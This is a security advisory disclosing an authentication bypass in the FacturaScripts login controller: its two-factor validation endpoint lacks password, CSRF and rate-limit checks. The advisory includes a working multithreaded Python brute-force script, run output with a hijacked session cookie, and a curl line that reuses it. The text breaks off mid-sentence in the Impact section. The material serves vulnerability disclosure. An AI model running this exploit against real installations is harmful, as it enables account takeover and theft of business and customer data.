Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection

Summary

Core/Controller/Login.php::twoFactorValidationAction() accepts an unauthenticated POST containing only fsNick and fsTwoFactorCode. If the TOTP value matches, the server issues a full fsNick + fsLogkey session cookie pair. The handler:

1. Does not verify the password — the user is not required to have just completed loginAction.
2. Does not call validateFormToken() — no CSRF token is required (every other action handler in the same file does call it).
3. Does not call userHasManyIncidents() before processing — loginAction and changePasswordAction both check this guard before doing work; the 2FA handler only writes to the incident list after a failure, and the incident list is consulted by loginAction / changePasswordAction but not by the 2FA handler itself. The endpoint therefore has no rate-limiting at all.

Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is

N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)

On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account.

The vulnerability gives complete account takeover of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (admin, the company name, the person's initials).

Severity

CVSS 4.0 base score: 9.3 — Critical

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Metric	Value	Rationale
Attack Vector (AV)	Network (N)	One HTTP POST over the public internet.
Attack Complexity (AC)	Low (L)	No timing, configuration, or environmental conditions.
Attack Requirements (AT)	None (N)	The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user.
Privileges Required (PR)	None (N)	The endpoint accepts the attack unauthenticated.
User Interaction (UI)	None (N)	No user action; the victim only has to have 2FA enabled.
Vulnerable Confidentiality (VC)	High (H)	Full read access as the hijacked user (admin → entire database).
Vulnerable Integrity (VI)	High (H)	Full write access as the hijacked user.
Vulnerable Availability (VA)	Low (L)	Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick.
Subsequent (SC / SI / SA)	None	No second-system pivot from the bug itself.

Threat metrics:

• Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.

Affected component

• File: Core/Controller/Login.php
• Method: twoFactorValidationAction() (lines 317–328 in the repository at commit 7392b489b, master branch as of 2026-05-13).
• Related: Core/Lib/TwoFactorManager.php:30 (VERIFICATION_WINDOW = 8).

Vulnerable code:

protected function twoFactorValidationAction(Request $request): void
{
    $userName = $request->input('fsNick');
    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }

    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

Compare with loginAction in the same file, which calls validateFormToken() (line 275) and userHasManyIncidents() (line 287) before doing any work. The 2FA handler does neither.

Proof of concept

1. Brute force when only the victim's nick is known

This requires no prior knowledge beyond the target's nick. Because the 2FA endpoint has no rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP.

poc_2fa_brute.py:

#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests

BASE      = os.environ.get("BASE",      "http://localhost:9999")
NICK      = os.environ.get("NICK",      "admin")
THREADS   = int(os.environ.get("THREADS",   "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))

hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}

def worker(tid: int) -> None:
    s = requests.Session()
    while not hit.is_set():
        with lock:
            n = attempt_count[0]
            if n >= MAX_TRIES:
                return
            attempt_count[0] += 1
        code = f"{random.randint(0, 999999):06d}"
        try:
            r = s.post(f"{BASE}/login",
                       data={"action": "two-factor-validation",
                             "fsNick":  NICK,
                             "fsTwoFactorCode": code},
                       allow_redirects=False, timeout=5)
        except requests.RequestException:
            continue
        sc = r.headers.get("Set-Cookie", "")
        if r.status_code == 302 and "fsLogkey" in sc:
            with lock:
                if hit.is_set():
                    return
                hit.set()
                result["code"]    = code
                result["n"]       = n
                result["cookies"] = {c.name: c.value for c in r.cookies}
            return

def main() -> int:
    print(f"[*] target={BASE}  nick={NICK}  threads={THREADS}")
    threads = [threading.Thread(target=worker, args=(i,), daemon=True)
               for i in range(THREADS)]
    for t in threads: t.start()
    while not hit.is_set() and attempt_count[0] < MAX_TRIES:
        time.sleep(2)
        elapsed = time.time() - start
        print(f"  [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d}  "
              f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
    for t in threads: t.join()
    elapsed = time.time() - start
    if hit.is_set():
        print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
              f"attempts in {elapsed:.1f}s")
        cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
        print(f"[+] Cookies: {cookie_hdr}")
        print(f"\n    curl --cookie '{cookie_hdr}' {BASE}/ListUser")
        return 0
    print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
    return 1

if __name__ == "__main__":
    sys.exit(main())

Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick victim):

[*] target=http://localhost:9999  nick=victim  threads=32
  [  2.2s] attempts=   1094  rps=  493
  [ 24.4s] attempts=  11535  rps=  473
  [ 50.0s] attempts=  23420  rps=  468
  [100.7s] attempts=  41247  rps=  410
  [144.9s] attempts=  55418  rps=  383

[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN

A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts.

Impact

For each 2FA-enabled user (including admins):

• Confidentiality: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration.
• Integrity: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, i